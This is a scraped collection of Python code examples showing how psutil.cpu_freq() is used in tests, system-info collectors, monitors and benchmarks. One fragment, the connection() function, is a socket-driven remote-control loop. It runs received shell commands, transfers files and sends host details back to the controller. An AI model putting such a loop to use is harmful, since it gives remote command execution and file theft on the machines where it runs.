def make_serverrec(server_id, idc, idc_type, roles, allocated_drive_pre, **argkv):
    serverrec = {}

    ips = net.get_host_ip4(exclude_prefix="docker")
    inn_ips = net.choose_inn(ips)
    pub_ips = net.choose_pub(ips)

    memory = psutil.virtual_memory().total
    cpu_info = {}
    # count of logical cpus
    cpu_info['count'] = psutil.cpu_count()
    # Mhz
    if hasattr(psutil, 'cpu_freq'):
        cpu_info['frequency'] = psutil.cpu_freq().max

    serverrec['server_id'] = server_id
    serverrec['pub_ips'] = pub_ips
    serverrec['inn_ips'] = inn_ips
    serverrec['hostname'] = socket.gethostname()
    serverrec['memory'] = memory
    serverrec['cpu'] = cpu_info
    serverrec['idc'] = idc
    serverrec['idc_type'] = idc_type
    serverrec['roles'] = roles

    mps = _make_mountpoints_info()
    serverrec['mountpoints'] = mps
    serverrec['next_mount_index'] = 1
    serverrec['allocated_drive'] = _get_allocated_drive(allocated_drive_pre, mps)
    serverrec.update(argkv)

    return serverrec
Example #2
0
    def test_cpu_frequency_against_sysctl(self):
        # Currently only cpu 0 is frequency is supported in FreeBSD
        # All other cores use the same frequency.
        sensor = "dev.cpu.0.freq"
        sysctl_result = int(sysctl(sensor))
        self.assertEqual(psutil.cpu_freq().current, sysctl_result)

        sensor = "dev.cpu.0.freq_levels"
        sysctl_result = sysctl(sensor)
        # sysctl returns a string of the format:
        # <freq_level_1>/<voltage_level_1> <freq_level_2>/<voltage_level_2>...
        # Ordered highest available to lowest available.
        max_freq = int(sysctl_result.split()[0].split("/")[0])
        min_freq = int(sysctl_result.split()[-1].split("/")[0])
        self.assertEqual(psutil.cpu_freq().max, max_freq)
        self.assertEqual(psutil.cpu_freq().min, min_freq)
Example #3
0
 def test_cpu_freq(self):
     freq = psutil.cpu_freq()
     self.assertEqual(
         freq.current * 1000 * 1000, sysctl("sysctl hw.cpufrequency"))
     self.assertEqual(
         freq.min * 1000 * 1000, sysctl("sysctl hw.cpufrequency_min"))
     self.assertEqual(
         freq.max * 1000 * 1000, sysctl("sysctl hw.cpufrequency_max"))
Example #4
0
    def test_cpu_freq(self):
        def check_ls(ls):
            for nt in ls:
                self.assertLessEqual(nt.current, nt.max)
                for name in nt._fields:
                    value = getattr(nt, name)
                    self.assertIsInstance(value, (int, long, float))
                    self.assertGreaterEqual(value, 0)

        ls = psutil.cpu_freq(percpu=True)
        if TRAVIS and not ls:
            return

        assert ls, ls
        check_ls([psutil.cpu_freq(percpu=False)])

        if LINUX:
            self.assertEqual(len(ls), psutil.cpu_count())
Example #5
0
    def test_cpu_freq(self):
        def check_ls(ls):
            for nt in ls:
                self.assertEqual(nt._fields, ('current', 'min', 'max'))
                if nt.max != 0.0:
                    self.assertLessEqual(nt.current, nt.max)
                for name in nt._fields:
                    value = getattr(nt, name)
                    self.assertIsInstance(value, (int, long, float))
                    self.assertGreaterEqual(value, 0)

        ls = psutil.cpu_freq(percpu=True)
        if TRAVIS and not ls:
            raise self.skipTest("skipped on Travis")
        if FREEBSD and not ls:
            raise self.skipTest("returns empty list on FreeBSD")

        assert ls, ls
        check_ls([psutil.cpu_freq(percpu=False)])

        if LINUX:
            self.assertEqual(len(ls), psutil.cpu_count())
Example #6
0
def sessionInfo():
    """ Return a dictionary with session and run information
    """

    version = "%s" % Tools.version

    result = {'name': os.path.basename(sys.argv[0]),
              'timestamp': time.strftime("%a %b %d %X %Y"),
              'version': version,
              'runInfo': [{"key": "commandline", "value": " ".join(sys.argv)}],
              'uname': " / ".join(platform.uname()),
              'dist': " / ".join(platform.dist()),
              'mac_ver': " / ".join([platform.mac_ver()[0], platform.mac_ver()[2]]),
              'python_implementation': platform.python_implementation(),
              'python_version': platform.python_version(),
              'metadata': {
                  "required": {
                      "id": "haplotypes",
                      'version': version,
                      "module": "%s" % os.path.basename(sys.argv[0]),
                      "description": "%s generated this JSON file via command line %s" % (
                          sys.argv[0], " ".join(sys.argv))}},
              'environment': {str(k): str(os.environ[k]) for k in os.environ.keys()}}

    result["python_prefix"] = sys.prefix
    if hasattr(sys, 'real_prefix'):
        result["python_virtualenv"] = True
        result["python_real_prefix"] = sys.real_prefix

    try:
        import psutil
        result["cpus"] = psutil.cpu_count()
        result["logical_cpus"] = psutil.cpu_count(True)
        result["cpu_freq"] = psutil.cpu_freq()
        result["memory"] = dict(psutil.virtual_memory().__dict__)
    except:
        pass

    try:
        import pip
        pip_packages = []
        for i in pip.get_installed_distributions(local_only=True):
            pip_packages.append(str(i))

        result["pip_packages"] = pip_packages
    except:
        pass

    return result
Example #7
0
        def _poll(current, last_value):

            # normalize with effective period
            diff = 1.
            if self._last_period:
                diff = self._last_period / 10**9

            # int values: bytes_sent, bytes_recv, packets_sent, packets_recv, errin, errout, dropin, dropout
            current['network'] = dict(psutil.net_io_counters()._asdict())

            # int values: read_count, write_count, read_bytes, write_bytes, read_time, write_time, read_merged_count, write_merged_count, busy_time
            current['disk'] = dict(psutil.disk_io_counters()._asdict())

            if last_value:
                for k in ['network', 'disk']:
                    d = current[k]
                    for k2 in list(d.keys()):
                        value = float(d[k2] - last_value[k][k2]) / diff
                        d['{}_per_sec'.format(k2)] = int(value)

            # float values: user, nice, system, idle, iowait, irq, softirq, streal, guest, guest_nice
            current['cp'] = dict(psutil.cpu_times_percent(interval=None)._asdict())

            cpu_freq = psutil.cpu_freq()
            current['cp']['freq'] = round(cpu_freq.current) if cpu_freq else None
            s = psutil.cpu_stats()
            current['cp']['ctx_switches'] = s.ctx_switches
            current['cp']['interrupts'] = s.interrupts
            current['cp']['soft_interrupts'] = s.soft_interrupts

            # int values: total, available, used, free, active, inactive, buffers, cached, shared, slab
            # float values: percent
            current['memory'] = dict(psutil.virtual_memory()._asdict())

            # Network connections
            res = {}
            conns = psutil.net_connections(kind='all')
            for c in conns:
                if c.family not in res:
                    res[c.family] = 0
                res[c.family] += 1
            res2 = {}
            for f, cnt in res.items():
                res2[f.name] = cnt
            current['network']['connection'] = res2

            return current
Example #8
0
	def _detect_hardware(self):
		result = dict(cores="unknown",
		              freq="unknown",
		              ram="unknown")

		try:
			cores = psutil.cpu_count()
			cpu_freq = psutil.cpu_freq()
			ram = psutil.virtual_memory()
			if cores:
				result["cores"] = cores
			if cpu_freq and hasattr(cpu_freq, "max"):
				result["freq"] = cpu_freq.max
			if ram and hasattr(ram, "total"):
				result["ram"] = ram.total
		except:
			self._logger.exception("Error while detecting hardware environment")

		return result
def connection():

    global s

    while True:

        command = s.recv(1024)
        command = command.decode()

        if 'grab' in command:
            grab, path = command.split('*')
            transfergrab(s, path)

        elif 'upload' in command:
            transferupload(s, command)

        elif 'cd' in command:
            code, directory = command.split('*')
            try:
                os.chdir(directory)
                s.send(("[+] CWD Is " + os.getcwd()).encode())
            except:
                s.send("[-] PATH NOT FOUND".encode())

        elif 'shell' in command:
            shell, query = command.split('*')
            query = query.split()
            try:
                cmd = subprocess.Popen(query,
                                       stdout=subprocess.PIPE,
                                       stderr=subprocess.PIPE)
                stdout, stderr = cmd.communicate()
                if stdout:
                    s.send(stdout)
                    s.send(("DONE").encode())
                elif stderr:
                    s.send(stderr)
                    s.send(("DONE").encode())
                else:
                    s.send(("DONE").encode())
            except:
                s.send("COMMAND_NOT_FOUND".encode())

        elif 'SLEEP' in command:
            s.close()
            time.sleep(16)
            break

        elif 'os' in command:
            uname = platform.uname()
            a = uname.system + "$" + uname.node + "$" + uname.machine + "$" + uname.version
            s.send(a.encode())

        elif 'status' in command:
            uname = platform.uname()
            boot_time_timestamp = psutil.boot_time()
            bt = datetime.fromtimestamp(boot_time_timestamp)
            svmem = psutil.virtual_memory()
            swap = psutil.swap_memory()
            cpufreq = psutil.cpu_freq()
            bootdate = str(bt.year) + "-" + str(bt.month) + "-" + str(bt.day)
            boottime = str(bt.hour) + ":" + str(bt.minute) + ":" + str(
                bt.second)
            tm = str(get_size(svmem.total))
            am = str(get_size(svmem.available))
            um = str(get_size(svmem.used))
            perm = str(svmem.percent) + "%"
            ts = str(get_size(swap.total))
            fs = str(get_size(swap.free))
            cpuf = str(cpufreq.current) + "Mhz"
            tcpu = str(psutil.cpu_percent()) + "%"
            data = uname.system + "$" + uname.node + "$" + uname.machine + "$" + uname.version + "$" + bootdate + "$" + boottime + "$" + tm + "$" + am + "$" + um + "$" + perm + "$" + ts + "$" + fs + "$" + cpuf + "$" + tcpu
            s.send(data.encode())

        elif 'cischeck' in command:
            cischeck(s)

        elif 'cisenable' in command:
            cisenable(s)
        elif 'message' in command:
            message(s, command)

        elif 'splunkenable' in command:
            splunkenableremote(s, command)
Example #10
0
def matrixmultiply(typestr = 'double'):
    n = 2400
    iterations = 10
    seed(123)
    if typestr == 'single':
        floattype = float32
    else:
        floattype = float64

    # Initialize
    a = uniform(0, 10, (n, n)).astype(floattype)
    b = uniform(0, 10, (n, n)).astype(floattype)
    
    # Perform measurement
    t0 = 0
    t1 = 0
    for i in range(iterations):
        t0 -= process_time()
        t1 -= perf_counter()
        c = a.dot(b)
        t0 += process_time()
        t1 += perf_counter()
        
    #Print result
    print('{0:.4f}s mean elapsed time,'.format(t1/iterations),
          '{0:.4f}s mean process time (total for all cores)'.format(t0/iterations))
    print('using', floattype)
    # Print general computer info
    u = uname()
    print('Operating system:', u.system, u.release + ',',
          '64-bit,' if (maxsize > 2**31 - 1) else '32-bit;',
          'Python version', python_version(),
          '\nCPU:', u.processor)
    try:
        from psutil import cpu_count, virtual_memory, cpu_freq
        print('Cores:',
              cpu_count(logical=False), 'physical,',
              cpu_count(logical=True), 'logical;',
              'RAM: {0:.3f}GB total'.format(virtual_memory().total/1e9))
        print('Current CPU frequency: {0:.3f}GHz'.format(cpu_freq().current/1e3))
    except:
        print('(Install psutil to find more details!)')

    # System specific information
    if u.system == 'Windows':
        from subprocess import check_output
        info = check_output('wmic cpu get name').decode().split()[1:]
        print(' '.join(info))
    elif u.system == 'Linux':
        from platform import linux_distribution
        print('Distribution: {0} {1}'.format(*linux_distribution()))
        from re import sub
        from subprocess import check_output
        info = check_output('cat /proc/cpuinfo', shell=True).decode().split('\n')
        for line in info:
            if 'model name' in line:
                info = sub( '.*odel name.*:', '', line, 1)
                break
        for line in info:
            if 'ardware' in line:
                info += ', ' + sub( '.*ardware.*:', '', line, 1)
                break
        print(info)
    elif u.system == 'Darwin':
        from platform import mac_ver
        print('Mac OSX release {0},'.format(mac_ver()[0]))

    return c[0, 0]
Example #11
0
    def __init__(self):
        print("Starting System Monitor")
        self.root = Tk()
        self.root.title('System Monitor')
        self.root.iconbitmap('@sysmonitor.xbm')
        # self.root.geometry("600x300+150+150")

        #NoteBook
        self.n = Notebook(self.root)
        self.f1 = Frame(self.n)  # CPU Usage
        self.f2 = Frame(self.n)  # Memory
        self.f3 = Frame(self.n)  # Sensors
        self.f4 = Frame(self.n)  # Graph
        self.f5 = Frame(self.n)  # Processes
        self.n.add(self.f1, text='CPU Usage')
        self.n.add(self.f2, text='Memory')
        self.n.add(self.f3, text='Sensors')
        self.n.add(self.f4, text='Graph')
        self.n.add(self.f5, text='Processes')
        self.n.pack(fill=BOTH)

        ################################################### CPU USAGE ######################################################
        #Current CPU usage
        self.cur_cpu = pc.cpu_percent()
        self.cpu_arr = deque()
        self.cpu_arr.append(self.cur_cpu)

        #Progress Bar to show current CPU usage
        self.cpu_bar = Progressbar(self.f1,
                                   length=300,
                                   value=self.cur_cpu,
                                   mode="determinate")
        self.cpu_bar.pack(padx=5, pady=5, fill=BOTH)

        #Variable string to store current CPU usage
        self.cpu_percent = StringVar()
        self.cpu_percent.set("CPU Usage: " + str(self.cur_cpu) + " %")
        self.cpu_percent_label = Label(self.f1, textvariable=self.cpu_percent)
        self.cpu_percent_label.place(relx=0.5, rely=0.2, anchor=CENTER)

        self.cpu_freq = pc.cpu_freq()
        self.cpu_freq_val = StringVar()
        self.cpu_freq_val.set(
            str("Current CPU Freq: " + str(int(self.cpu_freq[0])) + "/" +
                str(int(self.cpu_freq[2])) + " MHz"))
        self.cpu_freq_label = Label(self.f1, textvariable=self.cpu_freq_val)
        self.cpu_freq_label.place(relx=0.5, rely=0.3, anchor=CENTER)

        self.cpu_count_label = Label(self.f1,
                                     text="Number of CPUs: " +
                                     str(pc.cpu_count()))
        self.cpu_count_label.place(relx=0.5, rely=0.4, anchor=CENTER)

        self.pid = pc.pids()
        self.pid_val = StringVar()
        self.pid_val.set(str("Total Running Processes: " + str(len(self.pid))))
        self.pid_label = Label(self.f1, textvariable=self.pid_val)
        self.pid_label.place(relx=0.5, rely=0.5, anchor=CENTER)

        ######################################################  MEMORY  ####################################################
        self.ram = pc.virtual_memory()
        self.swap = pc.swap_memory()
        self.disk = pc.disk_usage('/home')
        self.ram_percent = self.ram[2]
        self.swap_percent = self.swap[3]
        self.disk_percent = self.disk[3]

        self.memory_window = Panedwindow(self.f2, orient=VERTICAL)
        self.memory_frame1 = Labelframe(self.memory_window,
                                        text='RAM',
                                        width=100,
                                        height=100)
        self.memory_frame2 = Labelframe(self.memory_window,
                                        text='Swap',
                                        width=100,
                                        height=100)
        self.memory_frame3 = Labelframe(self.memory_window,
                                        text='Disk',
                                        width=100,
                                        height=100)
        self.memory_window.add(self.memory_frame1)
        self.memory_window.add(self.memory_frame2)
        self.memory_window.add(self.memory_frame3)

        # RAM Used
        self.ram_bar = Progressbar(self.memory_frame1,
                                   length=300,
                                   value=self.ram_percent,
                                   mode="determinate")
        self.ram_bar.pack(padx=5, pady=5, fill=BOTH)
        self.ram_val = StringVar()
        self.ram_val.set("Ram Used: " + str(self.ram_percent) + "%")
        self.ram_label = Label(self.memory_frame1, textvariable=self.ram_val)
        self.ram_label.pack(side=LEFT, fill=BOTH)

        #Swap Used
        self.swap_bar = Progressbar(self.memory_frame2,
                                    length=300,
                                    value=self.swap_percent,
                                    mode="determinate")
        self.swap_bar.pack(padx=5, pady=5, fill=BOTH)
        self.swap_val = StringVar()
        self.swap_val.set("Swap Used: " + str(self.swap_percent) + "%")
        self.swap_label = Label(self.memory_frame2, textvariable=self.swap_val)
        self.swap_label.pack(side=LEFT, fill=BOTH)

        #Disk Space Used
        self.disk_bar = Progressbar(self.memory_frame3,
                                    length=300,
                                    value=self.disk_percent,
                                    mode="determinate")
        self.disk_bar.pack(padx=5, pady=5, fill=BOTH)
        self.disk_val = StringVar()
        self.disk_val.set("Disk Used: " + str(self.disk_percent) + "%")
        self.disk_label = Label(self.memory_frame3, textvariable=self.disk_val)
        self.disk_label.pack(side=LEFT, fill=BOTH)

        self.memory_frame1.pack(fill=BOTH)
        self.memory_frame2.pack(fill=BOTH)
        self.memory_frame3.pack(fill=BOTH)
        self.memory_window.pack(fill=BOTH)

        ###################################################### SENSORS #####################################################
        #Current Sensor Values
        self.temperature = pc.sensors_temperatures()
        self.battery = pc.sensors_battery()

        self.battery_estimate = ""
        self.power_source = ""
        source = power.PowerManagement().get_providing_power_source_type()
        if (source == power.POWER_TYPE_AC):
            self.power_source = "AC"
        elif (source == power.POWER_TYPE_BATTERY):
            self.power_source = "BATTERY"
        elif (source == power.POWER_TYPE_UPS):
            self.power_source = "UPS"
        else:
            self.power_source = "UNKNOWN"

        self.temp_cur = self.temperature['coretemp'][0][1]
        self.temp_critical = self.temperature['coretemp'][0][3]

        self.sensor_window = Panedwindow(self.f3, orient=VERTICAL)
        self.sensor_frame1 = Labelframe(self.sensor_window,
                                        text='Temperature',
                                        width=100,
                                        height=100)
        self.sensor_frame2 = Labelframe(self.sensor_window,
                                        text='Battery',
                                        width=100,
                                        height=100)
        self.sensor_window.add(self.sensor_frame1)
        self.sensor_window.add(self.sensor_frame2)

        #Progress Bar to show current temperature
        self.temp_bar = Progressbar(self.sensor_frame1,
                                    length=300,
                                    value=self.temp_cur,
                                    mode="determinate",
                                    maximum=self.temp_critical)
        self.temp_bar.pack(padx=5, pady=5, fill=BOTH)

        #Temperature
        self.cur_temp = StringVar()
        self.cur_temp.set("cur_temp: " + str(self.temp_cur) + "`C")
        self.cur_temp_label = Label(self.sensor_frame1,
                                    textvariable=self.cur_temp)
        self.cur_temp_label.pack(side=LEFT, fill=BOTH)
        self.label_temp = Label(self.sensor_frame1,
                                text="critical_temp: " +
                                str(self.temp_critical) + "\u2103")
        self.label_temp.pack(side=RIGHT, fill=BOTH)

        #Battery Status
        self.batt_estimate = StringVar()
        self.batt_estimate.set("Battery Estimate: " +
                               str(self.battery_estimate))
        self.batt_estimate_label = Label(self.sensor_frame2,
                                         textvariable=self.batt_estimate)
        self.batt_estimate_label.pack(fill=BOTH)
        self.label_batt_type = Label(self.sensor_frame2,
                                     text="Power Source: " + self.power_source)
        self.label_batt_type.pack(side=LEFT, fill=BOTH)

        self.sensor_frame1.pack(fill=BOTH)
        self.sensor_frame2.pack(side=LEFT, fill=BOTH)
        self.sensor_window.pack(fill=BOTH)

        ################################################### GRAPH ##########################################################
        #Graph Variables
        self.fig = Figure(figsize=(0.1, 0.1))
        ax = self.fig.add_subplot(111)
        self.line, = ax.plot(range(50))
        ax.axis([0, 50, 0, 100])
        ax.set_title("CPU Usage", fontsize=12)
        ax.set_ylabel("Percentage", fontsize=10)
        ax.set_xlabel("Time", fontsize=10)
        self.canvas = FigureCanvasTkAgg(self.fig, master=self.f4)
        self.canvas.show()
        self.canvas.get_tk_widget().pack(side='top',
                                         fill=BOTH,
                                         expand=1,
                                         ipadx=180)

        ############################################### PROCESSES ##########################################################
        self.kill_process_id = 0

        self.scrollbar = Scrollbar(self.f5)
        self.scrollbar.pack(side=RIGHT, fill=Y)

        self.update_button = Button(self.f5,
                                    text="Update",
                                    command=self.update_processes)
        self.update_button.pack(side=TOP)

        tv = Treeview(self.f5)
        tv['columns'] = ('cpu', 'id', 'status')
        tv.heading("#0", text='Process Name', anchor='w')
        tv.column("#0", anchor="w", width=75)
        tv.heading('cpu', text='% CPU')
        tv.column('cpu', anchor='center', width=40)
        tv.heading('id', text='PID')
        tv.column('id', anchor='center', width=35)
        tv.heading('status', text='Status')
        tv.column('status', anchor='center', width=40)
        tv.pack(fill=BOTH)
        self.treeview = tv

        tv.tag_configure('active', background='green')
        # attach listbox to scrollbar
        self.treeview.config(yscrollcommand=self.scrollbar.set)
        self.scrollbar.config(command=self.treeview.yview)

        self.pMenu = Menu(self.f5, tearoff=0)
        self.pMenu.add_command(label="Kill Process", command=self.kill_process)
        self.pMenu.add_command(label="Kill Process Tree",
                               command=self.kill_process_tree)
        self.pMenu.add_command(label="Cancel")

        self.treeview.bind("<Button-3>", self.process_popup)
        self.treeview.bind("<Button-2>", self.process_popup)

        ################################################### UPDATE #########################################################

        #Call Update() after 100 ms
        self.job1 = self.f1.after(1000, self.update_cpu)
        self.job2 = self.f2.after(1000, self.update_memory)
        self.job3 = self.f3.after(1000, self.update_sensors)
        self.job4 = self.f4.after(1000, self.update_graph)
        self.job5 = self.f5.after(1000, self.update_processes)
        #The Main Loop
        self.root.mainloop()
        #Kill everything once the window is closed.
        print("Killing everything.")
        self.f1.after_cancel(self.job1)
        self.f2.after_cancel(self.job2)
        self.f3.after_cancel(self.job3)
        self.f4.after_cancel(self.job4)
        self.f5.after_cancel(self.job5)
        print("Good Bye!")
        sys.exit()
import commands
import psutil

f = open('Server_Data.txt', 'a+')

logical_cpu = psutil.cpu_count()
harddatat = commands.getoutput(
    "system_profiler SPHardwareDataType | grep Processors")
physical_cpu = psutil.cpu_count(logical=False)
avaliable_cpu = psutil.cpu_times()
frequency_cpu = psutil.cpu_freq()
CPU_specifications = commands.getoutput("cat /proc/cpuinfo")
SPMemoryDataType = commands.getoutput("cat /proc/meminfo")

f.write('\n' + 'cpu_specification : ' + str(CPU_specifications) + '\n')
f.write('\n' + 'logical_cpu : ' + str(logical_cpu) + '\n')
f.write('\n' + 'harddatat : ' + str(harddatat) + '\n')
f.write('\n' + 'physical_cpu : ' + str(physical_cpu) + '\n')
f.write('\n' + 'avaliable_cpu : ' + str(avaliable_cpu) + '\n')
f.write('\n' + 'frequency_cpu : ' + str(frequency_cpu) + '\n')
f.write('\n' + 'SPMemoryDataType : ' + str(SPMemoryDataType) + '\n')

f.close()
commit_short_hash = subprocess.check_output(
    ["git", "rev-parse", "--short", "HEAD"]).strip()
print("\tz3 version:", z3.Z3_get_full_version())

print("\tProcessScheduler commit number:", commit_short_hash.decode("utf-8"))
os_info = platform.uname()
print("OS:")
print("\tOS:", os_info.system)
print("\tOS Release:", os_info.release)
print("\tOS Version:", os_info.version)
print("Hardware:")
print("\tMachine:", os_info.machine)
print("\tPhysical cores:", psutil.cpu_count(logical=False))
print("\tTotal cores:", psutil.cpu_count(logical=True))
# CPU frequencies
cpufreq = psutil.cpu_freq()
print(f"\tMax Frequency: {cpufreq.max:.2f}Mhz")
print(f"\tMin Frequency: {cpufreq.min:.2f}Mhz")
# get the memory details
svmem = psutil.virtual_memory()
print(f"\tTotal memory: {get_size(svmem.total)}")

computation_times = []
plot_abs = []

N = list(range(10, n, step))  # from 4 to N, step 2

for problem_size in N:
    print("-> Problem size:", problem_size)
    # Teams and Resources
Example #14
0
                    " model average inference time : ",
                    sum(durations) / len(durations),
                    "ms",
                )
                del model
                benchmark[model_name] = durations
    return benchmark


if __name__ == "__main__":
    folder_name = args.folder
    device_name = "".join((device_name, "_", str(args.NUM_GPU), "_gpus_"))
    system_configs = str(platform.uname())
    system_configs = "\n".join((
        system_configs,
        str(psutil.cpu_freq()),
        "cpu_count: " + str(psutil.cpu_count()),
        "memory_available: " + str(psutil.virtual_memory().available),
    ))
    gpu_configs = [
        torch.cuda.device_count(),
        torch.version.cuda,
        torch.backends.cudnn.version(),
        torch.cuda.get_device_name(0),
    ]
    gpu_configs = list(map(str, gpu_configs))
    temp = [
        "Number of GPUs on current device : ",
        "CUDA Version : ",
        "Cudnn Version : ",
        "Device Name : ",
Example #15
0
def adicionar():
    #Leitura de CPU:
    cpu_percent = psutil.cpu_percent(interval=1)
    cpu_freq = psutil.cpu_freq(percpu=False)

    #leitura de disco:
    discoC = psutil.disk_usage('C://')
    discoD = psutil.disk_usage('D://')

    #leitura de memória:
    mem = psutil.virtual_memory()

    #leitura de data e hora:
    datahora = strftime("%Y-%m-%d %H:%M:%S", localtime())

    #definindo usuário
    id = 1

    #tratamento dos dados para as devidas medidas:
    mem_used = float(round(mem.used / 1000000000, 2))
    mem_available = float(round(mem.available / 1000000000, 2))
    discoC_used = float(round(discoC.used / 1000000000, 2))
    discoC_free = float(round(discoC.free / 1000000000, 2))
    discoD_used = float(round(discoD.used / 1000000000, 2))
    discoD_free = float(round(discoD.free / 1000000000, 2))
    cpu_p = float(cpu_percent)
    cpu_f = float(round(cpu_freq.current, 2))

    # inserção dos dados no Banco de Dados
    inserecpu = "insert into cpu(id, porcentagem, frequencia, data)values(%s, %s, %s, %s)"
    inseremem = "insert into memoria(id, memoria_usado, memoria_disponivel, data)values(%s, %s, %s, %s)"
    inseredis = "insert into disco(id, disco_C_usado, disco_C_livre, disco_D_usado, disco_D_livre, data)values(%s, %s, %s, %s,%s, %s)"
    valorcpu = (id, cpu_p, cpu_f, datahora)
    valormem = (id, mem_used, mem_available, datahora)
    valordis = (id, discoC_used, discoC_free, discoD_used, discoD_free,
                datahora)
    if pesquisa.cpub.isChecked:
        cursor.execute(inserecpu, valorcpu)

    if pesquisa.memoriab.isChecked:
        cursor.execute(inseremem, valormem)

    if pesquisa.Discob.isChecked:
        cursor.execute(inseredis, valordis)

    if pesquisa.cpub.isChecked and pesquisa.memoriab.isChecked:
        cursor.execute(inserecpu, valorcpu)
        cursor.execute(inseremem, valormem)

    if pesquisa.cpub.isChecked and pesquisa.Discob.isChecked:
        cursor.execute(inserecpu, valorcpu)
        cursor.execute(inseredis, valordis)

    if pesquisa.memoriab.isChecked and pesquisa.Discob.isChecked:
        cursor.execute(inseremem, valormem)
        cursor.execute(inseredis, valordis)
    else:
        cursor.execute(inserecpu, valorcpu)
        cursor.execute(inseremem, valormem)
        cursor.execute(inseredis, valordis)
    conexao.commit()
Example #16
0
    'memory': {},
    'disk': {},
    'network': {},
    'processes': {},
    'applications': {}
}

if config['CollectInformation']['Node'] == 'true':
    node_data['node']['id'] = config['DEFAULT']['NodeId']
    node_data['node']['name'] = socket.gethostname()
    node_data['node']['os'] = platform.system()
    node_data['node']['version'] = platform.release()

if config['CollectInformation']['CPU'] == 'true':
    node_data['cpu']['count'] = ps.cpu_count()
    node_data['cpu']['freq'] = ps.cpu_freq(percpu=True)


def main():
    if config['CollectInformation']['CPU'] == 'true':
        node_data['cpu']['times'] = ps.cpu_times_percent(interval=1,
                                                         percpu=True)

    if config['CollectInformation']['Memory'] == 'true':
        memory_status = ps.virtual_memory()
        stat = {
            'total': memory_status.total,
            'used': memory_status.used,
            'percent_used': memory_status.percent
        }
        node_data['memory']['main'] = stat
Example #17
0
    def getSystemInfo(self):
        try:
            info = []
            #general info
            info.append(('General', 'User', getpass.getuser()))
            info.append(('General', 'Current Time',
                         datetime.now().strftime('%Y/%m/%#d %H:%M:%S')))

            # Is admin account
            info.append(('General', 'Admin User', self.is_admin()))
            #Platform Info
            info.append(('Platform', 'Platform', platform.platform()))
            info.append(('Platform', 'System', platform.system()))
            info.append(('Platform', 'Platform-release', platform.release()))
            info.append(('Platform', 'Platform-version', platform.version()))
            info.append(('Platform', 'Architecture', platform.machine()))
            info.append(('Platform', 'Hostname', socket.gethostname()))
            info.append(('Platform', 'IP-address',
                         socket.gethostbyname(socket.gethostname())))
            info.append(('Platform', 'MAC-address',
                         ':'.join(re.findall('..', '%012x' % uuid.getnode()))))
            info.append(('Platform', 'Processor', platform.processor()))
            info.append(('Platform', 'RAM',
                         self.get_size(psutil.virtual_memory().total)))

            # boot time
            boot_time_timestamp = psutil.boot_time()
            bt = datetime.fromtimestamp(boot_time_timestamp)
            info.append(
                ('Platform', 'Boot Time', bt.strftime('%Y/%m/%#d %H:%M:%S')))

            # CPU Info
            info.append(('CPU', "Physical cores",
                         f'{psutil.cpu_count(logical=False)}'))
            info.append(
                ('CPU', "Total cores", f'{psutil.cpu_count(logical=True)}'))
            # CPU frequencies
            cpufreq = psutil.cpu_freq()
            info.append(('CPU', "Max Frequency", f'{cpufreq.max:.2f}Mhz'))
            info.append(('CPU', "Min Frequency", f'{cpufreq.min:.2f}Mhz'))
            info.append(
                ('CPU', "Current Frequency", f'{cpufreq.current:.2f}Mhz'))
            # CPU usage
            for i, percentage in enumerate(
                    psutil.cpu_percent(percpu=True, interval=1)):
                info.append(('CPU', f'Core {i}', f'{percentage}%'))
            info.append(('CPU', "Total CPU Usage", f'{psutil.cpu_percent()}%'))

            # Memory Information

            # get the memory details
            svmem = psutil.virtual_memory()
            info.append(
                ('memory', "Memory Total", f'{self.get_size(svmem.total)}'))
            info.append(('memory', "Memory Available",
                         f'{self.get_size(svmem.available)}'))
            info.append(
                ('memory', "Memory Used", f'{self.get_size(svmem.used)}'))
            info.append(('Memory', "Memory Percentage", f'{svmem.percent}%'))

            # get the swap Memory details (if exists)
            swap = psutil.swap_memory()
            info.append(
                ('Memory', "Swap Total", f'{self.get_size(swap.total)}'))
            info.append(('Memory', "Swap Free", f'{self.get_size(swap.free)}'))
            info.append(('Memory', "Swap Used", f'{self.get_size(swap.used)}'))
            info.append(('Memory', "Swap Percentage", f'{swap.percent}%'))

            # disk information
            partitions = psutil.disk_partitions()
            for partition in partitions:
                info.append(('Disks', "Device", partition.device))
                info.append(('Disks', "Mountpoint", partition.mountpoint))
                info.append(('Disks', "File System Type", partition.fstype))
                try:
                    partition_usage = psutil.disk_usage(partition.mountpoint)
                except PermissionError:
                    # this can be catched due to the disk that
                    # isn't ready
                    continue
                info.append(('Disks', "Total Size",
                             f'{self.get_size(partition_usage.total)}'))
                info.append(('Disks', "Used",
                             f'{self.get_size(partition_usage.used)}'))
                info.append(('Disks', "Free",
                             f'{self.get_size(partition_usage.free)}'))
                info.append(
                    ('Disks', "Percentage", f'{partition_usage.percent}%'))
            # get IO statistics since boot
            disk_io = psutil.disk_io_counters()
            info.append(('Disks', "Total Read",
                         f'{self.get_size(disk_io.read_bytes)}'))
            info.append(('Disks', "Total Write",
                         f'{self.get_size(disk_io.write_bytes)}'))

            # network info
            if_addrs = psutil.net_if_addrs()
            for interface_name, interface_addresses in if_addrs.items():
                for address in interface_addresses:
                    if str(address.family) == 'AddressFamily.AF_INET':
                        info.append(('Network', f'{interface_name} IP Address',
                                     address.address))
                        info.append(('Network', f'{interface_name} Netmask',
                                     address.netmask))
                        info.append(
                            ('Network', f'{interface_name} Broadcast IP',
                             address.broadcast))
                    elif str(address.family) == 'AddressFamily.AF_PACKET':
                        info.append(
                            ('Network', f'{interface_name} MAC Address',
                             address.address))
                        info.append(('Network', f'{interface_name} Netmask',
                                     address.netmask))
                        info.append(
                            ('Network', f'{interface_name} Broadcast MAC',
                             address.broadcast))
            # get IO statistics since boot
            net_io = psutil.net_io_counters()
            info.append(('Network', 'Total Bytes Sent',
                         self.get_size(net_io.bytes_sent)))
            info.append(('Network', 'Total Bytes Received',
                         self.get_size(net_io.bytes_recv)))

            # process info
            if self.processes:
                for proc in psutil.process_iter():
                    with proc.oneshot():
                        # System Idle Process for Windows NT, useless to see anyways
                        if proc.pid == 0:
                            continue
                        mem_info = proc.memory_info()
                        info.append(('Processes', f'{proc.name()}', f'PID : {proc.pid}, Status : {proc.status()}' \
                            f', Mem Usage : {self.get_size(mem_info.rss)}' \
                            f', Threads: {proc.num_threads()}'))

            # services
            if self.services:
                for service in psutil.win_service_iter():
                    info.append(('Services', service.name(), f'Username : {service.username()}' \
                        f', binpath : {service.binpath()}, Start Type : {service.start_type()}' \
                        f', Status : {service.status()}'))

            # envornment
            if self.environ:
                for k, v in os.environ.items():
                    info.append(('Environment', k, v))

        except Exception as e:
            info.append(('Error', 'error', str(e)))
        return info
Example #18
0
